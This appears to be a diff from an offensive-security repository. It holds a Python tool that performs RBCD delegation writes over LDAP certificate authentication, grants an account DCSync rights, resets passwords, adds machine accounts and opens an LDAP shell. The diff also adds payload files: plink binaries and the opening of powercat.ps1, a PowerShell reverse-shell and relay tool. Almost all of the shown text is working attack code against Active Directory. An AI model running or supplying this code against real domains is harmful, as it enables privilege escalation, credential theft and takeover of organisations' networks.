def __init__(self, tcp_shell, domain_dumper, client):
|
||||
super().__init__(tcp_shell, domain_dumper, client)
|
||||
|
||||
self.use_rawinput = True
|
||||
self.shell = tcp_shell
|
||||
|
||||
self.prompt = "\n# "
|
||||
self.tid = None
|
||||
self.intro = "Type help for list of commands"
|
||||
self.loggedIn = True
|
||||
self.last_output = None
|
||||
self.completion = []
|
||||
self.client = client
|
||||
self.domain_dumper = domain_dumper
|
||||
|
||||
def do_dump(self, line):
|
||||
logging.warning("Not implemented")
|
||||
|
||||
def do_exit(self, line):
|
||||
print("Bye!")
|
||||
return True
|
||||
|
||||
|
||||
class DummyDomainDumper:
|
||||
def __init__(self, root: str):
|
||||
self.root = root
|
||||
|
||||
|
||||
def ldap_shell(ldap_server, ldap_conn):
|
||||
root = ldap_server.info.other["defaultNamingContext"][0]
|
||||
domain_dumper = DummyDomainDumper(root)
|
||||
ldap_shell = LdapShell(sys, domain_dumper, ldap_conn)
|
||||
try:
|
||||
ldap_shell.cmdloop()
|
||||
except KeyboardInterrupt:
|
||||
print("Bye!\n")
|
||||
pass
|
||||
|
||||
|
||||
def create_empty_sd():
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
|
||||
sd['Revision'] = b'\x01'
|
||||
sd['Sbz1'] = b'\x00'
|
||||
sd['Control'] = 32772
|
||||
sd['OwnerSid'] = ldaptypes.LDAP_SID()
|
||||
# BUILTIN\Administrators
|
||||
sd['OwnerSid'].fromCanonical('S-1-5-32-544')
|
||||
sd['GroupSid'] = b''
|
||||
sd['Sacl'] = b''
|
||||
acl = ldaptypes.ACL()
|
||||
acl['AclRevision'] = 4
|
||||
acl['Sbz1'] = 0
|
||||
acl['Sbz2'] = 0
|
||||
acl.aces = []
|
||||
sd['Dacl'] = acl
|
||||
return sd
|
||||
|
||||
# Create an ALLOW ACE with the specified sid
|
||||
def create_allow_ace(sid, guid_str=False):
|
||||
nace = ldaptypes.ACE()
|
||||
nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
|
||||
nace['AceFlags'] = 0x00
|
||||
acedata = ldaptypes.ACCESS_ALLOWED_ACE()
|
||||
acedata['Mask'] = ldaptypes.ACCESS_MASK()
|
||||
acedata['Mask']['Mask'] = 983551 # Full control
|
||||
acedata['Sid'] = ldaptypes.LDAP_SID()
|
||||
acedata['Sid'].fromCanonical(sid)
|
||||
if guid_str:
|
||||
acedata['ObjectType'] = string_to_bin(guid_str)
|
||||
acedata['ObjectTypeLen'] = len(string_to_bin(guid_str))
|
||||
acedata['InheritedObjectTypeLen'] = 0
|
||||
acedata['InheritedObjectType'] = b''
|
||||
acedata['Flags'] = 1
|
||||
nace['Ace'] = acedata
|
||||
return nace
|
||||
|
||||
class RBCD(object):
|
||||
"""docstring for setrbcd"""
|
||||
|
||||
def __init__(self, ldap_server, ldap_session, delegate_to):
|
||||
super(RBCD, self).__init__()
|
||||
self.ldap_server = ldap_server
|
||||
self.ldap_session = ldap_session
|
||||
self.delegate_from = None
|
||||
self.delegate_to = delegate_to
|
||||
self.SID_delegate_from = None
|
||||
self.DN_delegate_to = None
|
||||
logging.debug('Initializing domainDumper()')
|
||||
cnf = ldapdomaindump.domainDumpConfig()
|
||||
cnf.basepath = None
|
||||
self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)
|
||||
|
||||
def read(self):
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
|
||||
return
|
||||
|
||||
def write(self, delegate_from):
|
||||
self.delegate_from = delegate_from
|
||||
|
||||
# Get escalate user sid
|
||||
result = self.get_user_info(self.delegate_from)
|
||||
if not result:
|
||||
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.SID_delegate_from = str(result[1])
|
||||
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act and build security descriptor including previous data
|
||||
sd, targetuser = self.get_allowed_to_act()
|
||||
|
||||
# writing only if SID not already in list
|
||||
if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]:
|
||||
sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from))
|
||||
self.ldap_session.modify(targetuser['dn'],
|
||||
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE,
|
||||
[sd.getData()]]})
|
||||
if self.ldap_session.result['result'] == 0:
|
||||
logging.info('Delegation rights modified successfully!')
|
||||
logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
|
||||
else:
|
||||
if self.ldap_session.result['result'] == 50:
|
||||
logging.error('Could not modify object, the server reports insufficient rights: %s',
|
||||
self.ldap_session.result['message'])
|
||||
elif self.ldap_session.result['result'] == 19:
|
||||
logging.error('Could not modify object, the server reports a constrained violation: %s',
|
||||
self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
|
||||
logging.info('Not modifying the delegation rights.')
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
return
|
||||
|
||||
def remove(self, delegate_from):
|
||||
self.delegate_from = delegate_from
|
||||
|
||||
# Get escalate user sid
|
||||
result = self.get_user_info(self.delegate_from)
|
||||
if not result:
|
||||
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.SID_delegate_from = str(result[1])
|
||||
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act and build security descriptor including that data
|
||||
sd, targetuser = self.get_allowed_to_act()
|
||||
|
||||
# Remove the entries where SID match the given -delegate-from
|
||||
sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()]
|
||||
self.ldap_session.modify(targetuser['dn'],
|
||||
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]})
|
||||
|
||||
if self.ldap_session.result['result'] == 0:
|
||||
logging.info('Delegation rights modified successfully!')
|
||||
else:
|
||||
if self.ldap_session.result['result'] == 50:
|
||||
logging.error('Could not modify object, the server reports insufficient rights: %s',
|
||||
self.ldap_session.result['message'])
|
||||
elif self.ldap_session.result['result'] == 19:
|
||||
logging.error('Could not modify object, the server reports a constrained violation: %s',
|
||||
self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
return
|
||||
|
||||
def flush(self):
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act
|
||||
sd, targetuser = self.get_allowed_to_act()
|
||||
|
||||
self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]})
|
||||
if self.ldap_session.result['result'] == 0:
|
||||
logging.info('Delegation rights flushed successfully!')
|
||||
else:
|
||||
if self.ldap_session.result['result'] == 50:
|
||||
logging.error('Could not modify object, the server reports insufficient rights: %s',
|
||||
self.ldap_session.result['message'])
|
||||
elif self.ldap_session.result['result'] == 19:
|
||||
logging.error('Could not modify object, the server reports a constrained violation: %s',
|
||||
self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
return
|
||||
|
||||
def get_allowed_to_act(self):
|
||||
# Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute
|
||||
self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE,
|
||||
attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
|
||||
targetuser = None
|
||||
for entry in self.ldap_session.response:
|
||||
if entry['type'] != 'searchResEntry':
|
||||
continue
|
||||
targetuser = entry
|
||||
if not targetuser:
|
||||
logging.error('Could not query target user properties')
|
||||
return
|
||||
|
||||
try:
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
|
||||
data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
|
||||
if len(sd['Dacl'].aces) > 0:
|
||||
logging.info('Accounts allowed to act on behalf of other identity:')
|
||||
for ace in sd['Dacl'].aces:
|
||||
SID = ace['Ace']['Sid'].formatCanonical()
|
||||
SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1]
|
||||
logging.info(' %-10s (%s)' % (SamAccountName, SID))
|
||||
else:
|
||||
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
|
||||
except IndexError:
|
||||
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
|
||||
# Create DACL manually
|
||||
sd = create_empty_sd()
|
||||
return sd, targetuser
|
||||
|
||||
def get_user_info(self, samname):
|
||||
self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % ldap3.utils.conv.escape_filter_chars(samname), attributes=['objectSid'])
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
sid = ldap3.protocol.formatters.formatters.format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
|
||||
return dn, sid
|
||||
except IndexError:
|
||||
logging.error('User not found in LDAP: %s' % samname)
|
||||
return False
|
||||
|
||||
def get_sid_info(self, sid):
|
||||
self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % ldap3.utils.conv.escape_filter_chars(sid), attributes=['samaccountname'])
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
samname = self.ldap_session.entries[0]['samaccountname']
|
||||
return dn, samname
|
||||
except IndexError:
|
||||
logging.error('SID not found in LDAP: %s' % sid)
|
||||
return '[Could not resolve SID]', '[Could not resolve SID]'
|
||||
|
||||
|
||||
class ManageUser:
|
||||
"""docstring for ManageUser"""
|
||||
def __init__(self, ldapConn, cmdLineOptions):
|
||||
self.ldapConn = ldapConn
|
||||
self.__accountName = cmdLineOptions.target
|
||||
self.__domain = cmdLineOptions.domain
|
||||
self.__baseDN = cmdLineOptions.baseDN
|
||||
|
||||
if self.__baseDN is None:
|
||||
# Create the baseDN
|
||||
domainParts = self.__domain.split('.')
|
||||
self.__baseDN = ''
|
||||
for i in domainParts:
|
||||
self.__baseDN += 'dc=%s,' % i
|
||||
# Remove last ','
|
||||
self.__baseDN = self.__baseDN[:-1]
|
||||
|
||||
if not '.' in self.__domain:
|
||||
logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)
|
||||
|
||||
if not self.LDAPUserExists(self.__accountName):
|
||||
raise Exception("sAMAccountName %s not found in %s!" % (self.__accountName, self.__baseDN))
|
||||
|
||||
self.__targetDN, self.__targetSID = self.LDAPGetUser(self.__accountName)
|
||||
|
||||
def LDAPUserExists(self, accountName):
|
||||
res, _ = self.LDAPGetUser(accountName)
|
||||
return res
|
||||
|
||||
def LDAPGetUser(self, accountName):
|
||||
self.ldapConn.search(self.__baseDN, \
|
||||
'(sAMAccountName=%s)' % ldap3.utils.conv.escape_filter_chars(accountName), \
|
||||
attributes=['objectSid'])
|
||||
try:
|
||||
dn = self.ldapConn.entries[0].entry_dn
|
||||
sid = ldap3.protocol.formatters.formatters.format_sid(self.ldapConn.entries[0]['objectSid'].raw_values[0])
|
||||
return dn, sid
|
||||
except IndexError:
|
||||
logging.error('User not found in LDAP: %s' % accountName)
|
||||
return False, ''
|
||||
|
||||
def elevate(self, forestDN=None): # implementation was inspired by @skelsec's `msldap` code
|
||||
if forestDN is None:
|
||||
forestDN = self.__baseDN
|
||||
|
||||
res = self.ldapConn.search(search_base=self.__baseDN, \
|
||||
search_filter=f'(distinguishedName={forestDN})', \
|
||||
attributes=['nTSecurityDescriptor'])
|
||||
if res is None:
|
||||
logging.error('Failed to get forest\'s SD')
|
||||
|
||||
baseDN_sd = self.ldapConn.entries[0].entry_raw_attributes
|
||||
if baseDN_sd['nTSecurityDescriptor'] == []:
|
||||
raise Exception("User doesn't have right read nTSecurityDescriptor!")
|
||||
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=baseDN_sd['nTSecurityDescriptor'][0])
|
||||
new_sd = copy.deepcopy(sd)
|
||||
|
||||
for guid in ['1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', \
|
||||
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', \
|
||||
'89e95b76-444d-4c62-991a-0facbeda640c']:
|
||||
new_sd['Dacl'].aces.append(create_allow_ace(self.__targetSID, guid))
|
||||
|
||||
res = self.ldapConn.modify(forestDN, \
|
||||
{'nTSecurityDescriptor': [ldap3.MODIFY_REPLACE, [new_sd.getData()]]})
|
||||
if not res:
|
||||
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
|
||||
raise Exception("User doesn't have right to modify %s!" % (self.__targetDN))
|
||||
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
|
||||
raise Exception("Unwilling to Perform: %s" % (self.ldapConn.result['message']))
|
||||
else:
|
||||
raise Exception(str(ldapConn.result))
|
||||
else:
|
||||
logging.info("Granted user '%s' DCSYNC rights!" % (self.__accountName))
|
||||
|
||||
def changePWD(self, newPWD):
|
||||
if newPWD is False:
|
||||
newPWD = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
|
||||
res = self.ldapConn.modify(self.__targetDN, \
|
||||
{'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(newPWD).encode('utf-16-le')])]})
|
||||
if not res:
|
||||
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
|
||||
raise Exception("User doesn't have right to modify %s!" % (self.__targetDN))
|
||||
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_NO_SUCH_OBJECT:
|
||||
raise Exception("Target DN '%s' is not correct!" % (self.__targetDN))
|
||||
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
|
||||
raise Exception("Password complexity not met. Unwilling to Perform: %s" % (self.ldapConn.result['message']))
|
||||
else:
|
||||
raise Exception(str(self.ldapConn.result))
|
||||
else:
|
||||
logging.info("Successfully changed %s password to: %s" % (self.__accountName, newPWD))
|
||||
|
||||
|
||||
class ManageComputer:
|
||||
def __init__(self, ldapConn, cmdLineOptions):
|
||||
self.options = cmdLineOptions
|
||||
self.ldapConn = ldapConn
|
||||
self.__action = cmdLineOptions.action
|
||||
self.__domain = cmdLineOptions.domain
|
||||
self.__computerName = cmdLineOptions.computer_name
|
||||
self.__computerPassword = cmdLineOptions.computer_pass
|
||||
self.__domainNetbios = cmdLineOptions.domain_netbios
|
||||
self.__baseDN = cmdLineOptions.baseDN
|
||||
self.__computerGroup = cmdLineOptions.computer_group
|
||||
|
||||
if self.__computerName is None:
|
||||
if self.__action in ('modify_computer','delete_computer'):
|
||||
raise ValueError("You have to provide a computer name when using modify_computer or delete_computer.")
|
||||
else:
|
||||
if self.__computerName[-1] != '$':
|
||||
self.__computerName += '$'
|
||||
|
||||
if not '.' in self.__domain:
|
||||
logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)
|
||||
|
||||
if self.__computerPassword is None:
|
||||
self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
|
||||
|
||||
if self.__domainNetbios is None:
|
||||
self.__domainNetbios = self.__domain
|
||||
|
||||
if self.__baseDN is None:
|
||||
# Create the baseDN
|
||||
domainParts = self.__domain.split('.')
|
||||
self.__baseDN = ''
|
||||
for i in domainParts:
|
||||
self.__baseDN += 'dc=%s,' % i
|
||||
# Remove last ','
|
||||
self.__baseDN = self.__baseDN[:-1]
|
||||
|
||||
if self.__computerGroup is None:
|
||||
self.__computerGroup = 'CN=Computers,' + self.__baseDN
|
||||
|
||||
logging.debug('The new computer will be added in %s' % self.__computerGroup)
|
||||
|
||||
def whoami(self):
|
||||
current_user = self.ldapConn.extend.standard.who_am_i()
|
||||
if current_user == None:
|
||||
raise Exception('whoami command failed, certificate seems not trusted by the Active Directory')
|
||||
# LDAP whoami returns an authzId, so we strip the prefix
|
||||
logging.info('You are logged in as: %s' % current_user[2:])
|
||||
|
||||
def add_computer(self, constrained_delegations = None):
|
||||
if self.__computerName is not None:
|
||||
if self.LDAPComputerExists(self.ldapConn, self.__computerName):
|
||||
raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName)
|
||||
else:
|
||||
while True:
|
||||
self.__computerName = self.generateComputerName()
|
||||
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
|
||||
break
|
||||
|
||||
|
||||
computerHostname = self.__computerName[:-1]
|
||||
computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup))
|
||||
|
||||
# Default computer SPNs
|
||||
spns = [
|
||||
'HOST/%s' % computerHostname,
|
||||
'HOST/%s.%s' % (computerHostname, self.__domain),
|
||||
'RestrictedKrbHost/%s' % computerHostname,
|
||||
'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain),
|
||||
]
|
||||
ucd = {
|
||||
'dnsHostName': '%s.%s' % (computerHostname, self.__domain),
|
||||
'userAccountControl': 0x1000,
|
||||
'servicePrincipalName': spns,
|
||||
'sAMAccountName': self.__computerName,
|
||||
'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
|
||||
}
|
||||
|
||||
# Add constrained delegations fields to the computer
|
||||
if constrained_delegations and len(constrained_delegations) > 0:
|
||||
# Set the TRUSTED_TO_AUTH_FOR_DELEGATION and WORKSTATION_TRUST_ACCOUNT flags
|
||||
# MS doc: https://learn.microsoft.com/fr-fr/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
|
||||
ucd['userAccountControl'] = 0x1000000|0x1000
|
||||
# Set the list of services authorized (format: protocol/FQDNserver)
|
||||
ucd['msDS-AllowedToDelegateTo'] = constrained_delegations.split(',') #Split multiple services in the command line
|
||||
logging.info("Adding constrained delegations services to the computer object: %s" % constrained_delegations)
|
||||
|
||||
res = self.ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd)
|
||||
if not res:
|
||||
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
|
||||
error_code = int(self.ldapConn.result['message'].split(':')[0].strip(), 16)
|
||||
if error_code == 0x216D:
|
||||
raise Exception("User machine quota exceeded!")
|
||||
else:
|
||||
raise Exception(str(self.ldapConn.result))
|
||||
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
|
||||
raise Exception("User doesn't have right to create a machine account!")
|
||||
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_CONSTRAINT_VIOLATION:
|
||||
raise Exception("User doesn't have right to create constrained delegations!")
|
||||
else:
|
||||
raise Exception(str(self.ldapConn.result))
|
||||
else:
|
||||
logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword))
|
||||
|
||||
def delete_computer(self):
|
||||
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
|
||||
raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN))
|
||||
|
||||
computer = self.LDAPGetComputer(self.ldapConn, self.__computerName)
|
||||
res = self.ldapConn.delete(computer.entry_dn)
|
||||
if not res:
|
||||
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
|
||||
raise Exception("User doesn't have right to delete %s!" % (self.__computerName))
|
||||
else:
|
||||
raise Exception(str(self.ldapConn.result))
|
||||
else:
|
||||
logging.info("Successfully deleted %s." % self.__computerName)
|
||||
|
||||
def modify_computer(self):
|
||||
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
|
||||
raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN))
|
||||
|
||||
computer = self.LDAPGetComputer(self.ldapConn, self.__computerName)
|
||||
res = self.ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]})
|
||||
if not res:
|
||||
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
|
||||
raise Exception("User doesn't have right to modify %s!" % (self.__computerName))
|
||||
else:
|
||||
raise Exception(str(self.ldapConn.result))
|
||||
else:
|
||||
logging.info("Successfully set password of %s to %s" % (self.__computerName, self.__computerPassword))
|
||||
|
||||
def LDAPComputerExists(self, connection, computerName):
|
||||
connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
|
||||
return len(connection.entries) ==1
|
||||
|
||||
def LDAPGetComputer(self, connection, computerName):
|
||||
connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
|
||||
return connection.entries[0]
|
||||
|
||||
def generateComputerName(self):
|
||||
return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$')
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print((version.BANNER))
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Manage domain computers and perform RBCD attack via LDAP certificate authentication")
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
parser.add_argument('-port', type=int, choices=[389, 636], default=636,
|
||||
help='Destination port to connect to. LDAPS (via StartTLS) on 386 or LDAPS on 636.')
|
||||
|
||||
group = parser.add_argument_group('Action')
|
||||
group.add_argument('-action', choices=['add_computer', 'del_computer', 'modify_computer', 'read_rbcd', 'write_rbcd', 'remove_rbcd', 'flush_rbcd', 'modify_user', 'whoami', 'ldap-shell'], nargs='?', default='whoami')
|
||||
|
||||
group = parser.add_argument_group('Manage User')
|
||||
group.add_argument('-target', action='store', metavar='sAMAccountName', help='sAMAccountName of user to target.')
|
||||
group.add_argument('-new-pass', action='store', metavar='Password', help='New password of target.', const=False, nargs='?')
|
||||
group.add_argument('-elevate', action='store_true', help='Grant target account DCSYNC rights')
|
||||
|
||||
group = parser.add_argument_group('Manage Computer')
|
||||
group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP.'
|
||||
'If omitted, the domain part (FQDN) '
|
||||
'specified in the account parameter will be used.')
|
||||
group.add_argument('-computer-group', action='store', metavar='CN=Computers', help='Group to which the account will be added.'
|
||||
'If omitted, CN=Computers will be used,')
|
||||
|
||||
group.add_argument('-domain', action='store', metavar='test.local', help='Target domain fqdn')
|
||||
group.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.')
|
||||
group.add_argument('-computer-name', action='store', metavar='COMPUTER-NAME$', help='Name of computer to add.'
|
||||
'If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.')
|
||||
group.add_argument('-computer-pass', action='store', metavar='password', help='Password to set to computer. '
|
||||
'If omitted, a random [A-Za-z0-9]{32} will be used.')
|
||||
group.add_argument('-delegated-services', type=str, action='store', metavar='cifs/srv01.domain.local,ldap/srv01.domain.local', help='Services to configure in constrained delegation to configure to the new computer (no space in the list)')
|
||||
|
||||
group = parser.add_argument_group('RBCD attack')
|
||||
group.add_argument("-delegate-to", type=str, required=False,
|
||||
help="Target computer account the attacker has at least WriteProperty to")
|
||||
group.add_argument("-delegate-from", type=str, required=False,
|
||||
help="Attacker controlled machine account to write on the msDS-Allo[...] property (only when using `-action write`)")
|
||||
|
||||
group = parser.add_argument_group('Authentication')
|
||||
group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. '
|
||||
'If omitted, the domain part (FQDN) '
|
||||
'specified in the account parameter will be used')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. '
|
||||
'Useful if you can\'t translate the FQDN.')
|
||||
group.add_argument('-crt', action="store", required=True, metavar = "user.crt", help='User\'s certificate')
|
||||
group.add_argument('-key', action="store", required=True, metavar = "user.key", help='User\'s private key')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
# Print the Library's installation path
|
||||
logging.debug(version.getInstallationPath())
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
try:
|
||||
if options.crt in ('', None) or options.key in ('', None):
|
||||
logging.critical('Cert and key should be specified!')
|
||||
sys.exit(1)
|
||||
|
||||
if options.domain in ('', None) and options.baseDN in ('', None):
|
||||
logging.critical('The target domain FQDN (-domain) or a base DN (-baseDN) should be specified!')
|
||||
sys.exit(1)
|
||||
|
||||
if options.dc_ip:
|
||||
target = options.dc_ip
|
||||
else:
|
||||
target = options.dc_host
|
||||
|
||||
tls = ldap3.Tls(local_private_key_file=options.key, local_certificate_file=options.crt, validate=ssl.CERT_NONE)
|
||||
|
||||
ldap_server_kwargs = {'use_ssl': options.port == 636,
|
||||
'port': options.port,
|
||||
'get_info': ldap3.ALL,
|
||||
'tls': tls}
|
||||
|
||||
ldapServer = ldap3.Server(target, **ldap_server_kwargs)
|
||||
|
||||
ldap_connection_kwargs = dict()
|
||||
|
||||
if options.port == 389:
|
||||
# I don't really know why, but using this combination of parameters with ldap3 will
|
||||
# send a LDAP_SERVER_START_TLS_OID and trigger a StartTLS
|
||||
ldap_connection_kwargs = {'authentication': ldap3.SASL,
|
||||
'sasl_mechanism': ldap3.EXTERNAL,
|
||||
'auto_bind': ldap3.AUTO_BIND_TLS_BEFORE_BIND}
|
||||
|
||||
ldapConn = ldap3.Connection(ldapServer, **ldap_connection_kwargs)
|
||||
|
||||
if options.port == 636:
|
||||
# According to Microsoft :
|
||||
# "If the client establishes the SSL/TLS-protected connection by means of connecting
|
||||
# on a protected LDAPS port, then the connection is considered to be immediately
|
||||
# authenticated (bound) as the credentials represented by the client certificate.
|
||||
# An EXTERNAL bind is not allowed, and the bind will be rejected with an error."
|
||||
# Using bind() function will raise an error, we just have to open() the connection
|
||||
ldapConn.open()
|
||||
|
||||
if options.action in ('modify_user'):
|
||||
if options.target is None:
|
||||
logging.critical('-target is required !')
|
||||
sys.exit(1)
|
||||
manage = ManageUser(ldapConn, options)
|
||||
if options.elevate:
|
||||
manage.elevate()
|
||||
elif options.new_pass is not None:
|
||||
manage.changePWD(options.new_pass)
|
||||
else:
|
||||
logging.critical('User modification option (-elevate|-new-pass) needed!')
|
||||
|
||||
elif options.action in ('add_computer','del_computer','modify_computer', 'whoami', 'ldap-shell'):
|
||||
manage = ManageComputer(ldapConn, options)
|
||||
if options.action == 'add_computer':
|
||||
manage.add_computer(options.delegated_services)
|
||||
elif options.action == 'del_computer':
|
||||
manage.delete_computer()
|
||||
elif options.action == 'modify_computer':
|
||||
manage.modify_computer()
|
||||
elif options.action == 'whoami':
|
||||
manage.whoami()
|
||||
elif options.action == "ldap-shell":
|
||||
ldap_shell(ldapServer, ldapConn)
|
||||
|
||||
else:
|
||||
if options.delegate_to is None:
|
||||
logging.critical('-delegate-to is required !')
|
||||
sys.exit(1)
|
||||
|
||||
rbcd = RBCD(ldapServer, ldapConn, options.delegate_to)
|
||||
if options.action == 'read_rbcd':
|
||||
rbcd.read()
|
||||
elif options.action == 'write_rbcd':
|
||||
rbcd.write(options.delegate_from)
|
||||
elif options.action == 'remove_rbcd':
|
||||
rbcd.remove(options.delegate_from)
|
||||
elif options.action == 'flush_rbcd':
|
||||
rbcd.flush()
|
||||
|
||||
except Exception as e:
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
print(str(e))
|
||||
BIN
payloads/windows/plink.exe
Normal file
BIN
payloads/windows/plink.exe
Normal file
Binary file not shown.
BIN
payloads/windows/plink64.exe
Normal file
BIN
payloads/windows/plink64.exe
Normal file
Binary file not shown.
948
payloads/windows/powercat.ps1
Normal file
948
payloads/windows/powercat.ps1
Normal file
@@ -0,0 +1,948 @@
|
||||
function powercat
|
||||
{
|
||||
param(
|
||||
[alias("Client")][string]$c="",
|
||||
[alias("Listen")][switch]$l=$False,
|
||||
[alias("Port")][Parameter(Position=-1)][string]$p="",
|
||||
[alias("Execute")][string]$e="",
|
||||
[alias("ExecutePowershell")][switch]$ep=$False,
|
||||
[alias("Relay")][string]$r="",
|
||||
[alias("UDP")][switch]$u=$False,
|
||||
[alias("dnscat2")][string]$dns="",
|
||||
[alias("DNSFailureThreshold")][int32]$dnsft=10,
|
||||
[alias("Timeout")][int32]$t=60,
|
